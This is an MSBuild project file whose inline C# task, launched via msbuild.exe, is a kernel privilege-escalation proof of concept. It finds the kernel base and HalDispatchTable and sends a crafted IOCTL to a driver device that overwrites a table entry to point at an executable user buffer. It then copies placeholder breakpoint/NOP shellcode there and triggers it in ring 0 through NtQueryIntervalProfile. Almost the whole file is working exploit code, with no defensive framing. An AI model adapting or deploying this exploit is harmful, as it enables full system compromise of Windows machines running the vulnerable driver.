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kernel.xml
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kernel.xml
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe kernel.xml -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Using Namespace="System" />
<Using Namespace="System.Reflection" />
<Using Namespace="System.Diagnostics" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using Microsoft.CSharp;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
//This Is Effectively The Main() Function.
IntPtr NTBaseAddress = Program.GetSystemModules();
Program.GetHalDispatchTable(NTBaseAddress);
return true;
}
}
public class Program {
private const Int32 SystemModuleInformation = 11;
private static MethodInfo NtQuerySystemInformation {
get {
return Assembly
.GetAssembly(typeof(Regex))
.GetType("Microsoft.Win32.NativeMethods")
.GetMethod("NtQuerySystemInformation");
}
} //NtQuerySystemInformation
public struct SYSTEM_MODULE_INFORMATION
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
public UIntPtr[] Reserved;
public IntPtr ImageBase;
public UInt32 ImageSize;
public UInt32 Flags;
public UInt16 LoadOrderIndex;
public UInt16 InitOrderIndex;
public UInt16 LoadCount;
public UInt16 ModuleNameOffset;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
internal Char[] _ImageName;
public String ImageName {
get {
return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
}
}
}
[StructLayout(LayoutKind.Sequential)]
struct SYSTEM_MODULES {
internal UInt32 NumberOfModules;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
internal SYSTEM_MODULE_INFORMATION[] Modules;
} //SYSTEM_MODULES
[StructLayout(LayoutKind.Sequential)]
public struct IOCTL_REQ
{
public int Action;
public int Flag;
public IntPtr TargetAddress;
public Int64 Junk_Pad_1;
public IntPtr SecondWrite;
public Int64 Junk_Pad_2;
public IntPtr Buffer;
}
public static byte[] shellcode = new byte[256] {
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90,
0xcc,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xcc,0x90,0x90,0x90,0x90,0x90,0x90 };
public static byte[] JunkPad= new byte[8] {
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
public static IntPtr GetSystemModules() {
IntPtr ptr = IntPtr.Zero;
Int32 buf = 1048576, nts;
SYSTEM_MODULES sm;
try {
ptr = Marshal.AllocHGlobal(buf);
if ((nts = (Int32)NtQuerySystemInformation.Invoke(null, new Object[] {
SystemModuleInformation, ptr, buf, 0
})) != 0) {
throw new InvalidOperationException("Could not emunumerate system modules.");
}
sm = (SYSTEM_MODULES)Marshal.PtrToStructure(ptr, typeof(SYSTEM_MODULES));
for (Int32 i = 0; i < sm.NumberOfModules; i++) {
Console.WriteLine("[*] Driver Entry {0:X4}, {1}",
sm.Modules[i].ImageBase.ToInt64(),
sm.Modules[i].ImageName
);
}
return sm.Modules[0].ImageBase; //This is cheating for POC. You better make sure you Actually return Kernel Address.
}
catch (Exception e) {
Console.WriteLine(e.Message);
}
finally {
Marshal.FreeHGlobal(ptr);
}
return IntPtr.Zero;
} //Main
public static void GetHalDispatchTable(IntPtr NTBaseAddress )
{
Console.WriteLine("NTBaseAddress : {0:X4}", NTBaseAddress.ToInt64());
IntPtr UserKernelBase = LoadLibrary("ntoskrnl.exe");
Console.WriteLine("{0:X4}", (UInt64)UserKernelBase );
IntPtr temp = GetProcAddress(UserKernelBase, "HalDispatchTable");
Console.WriteLine("HalDispatch in UserLand: {0:X4}", (UInt64)temp.ToInt64() );
int delta = (int)( (UInt64)temp - (UInt64)UserKernelBase );
IntPtr hDcrFileHandle = CreateFile("\\\\.\\DCR", 0x0020, 0x00000003, IntPtr.Zero, 3, 0, IntPtr.Zero);
Console.WriteLine("{0:X4}", hDcrFileHandle.ToInt64());
byte[] Paylod = new byte[1024];
Console.WriteLine("Dave, HalDispatchTable Target address is here: {0:X4}", (UInt64)IntPtr.Add(NTBaseAddress, delta + 8) );
//Trigger
IOCTL_REQ IoctlRequest = new IOCTL_REQ();
IoctlRequest.Action = 0x00000017;
IoctlRequest.Flag = 0;
IoctlRequest.Junk_Pad_1 = 0x4242424242424242;
IoctlRequest.Junk_Pad_2 = 0x4343434343434343;
IoctlRequest.Buffer = VirtualAlloc(IntPtr.Zero, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Console.WriteLine("{0:X4}", IoctlRequest.Buffer.ToInt64());
IoctlRequest.TargetAddress = IntPtr.Add(NTBaseAddress, delta + 8 );
IoctlRequest.SecondWrite = IoctlRequest.Buffer;
int returnedBytes = 0;
Console.ReadLine();
bool Result = DeviceIoControl(hDcrFileHandle,
0x00073800,
StructureToByteArray(IoctlRequest),
(StructureToByteArray(IoctlRequest)).Length,
StructureToByteArray(IoctlRequest),
(StructureToByteArray(IoctlRequest)).Length,
ref returnedBytes,
IntPtr.Zero);
Console.WriteLine("HalDispatchTable Entry now Points to: {0X4}", IoctlRequest.Buffer.ToInt64()+0x0c);
Marshal.Copy(shellcode , 0, IoctlRequest.Buffer , shellcode.Length);
//Trigger Shellcode Ring 0
uint acdc = 0;
int catchErr = NtQueryIntervalProfile(0xacdc, ref acdc);
Console.WriteLine("Done!");
}
public static byte [] StructureToByteArray(object obj)
{
int len = Marshal.SizeOf(obj);
byte [] arr = new byte[len];
IntPtr ptr = Marshal.AllocHGlobal(len);
Marshal.StructureToPtr(obj, ptr, true);
Marshal.Copy(ptr, arr, 0, len);
Marshal.FreeHGlobal(ptr);
return arr;
}
[DllImport("kernel32.dll")]
public static extern IntPtr LoadLibrary(string dllToLoad);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr pStartAddr,
UInt32 size, UInt32 fAllocationType, UInt32 flProtect);
[DllImport("ntdll.dll")]
public static extern int NtQueryIntervalProfile( UInt32 ProfileSource, ref UInt32 Interval);
}//Program
]]>
</Code>
</Task>
</UsingTask>
</Project>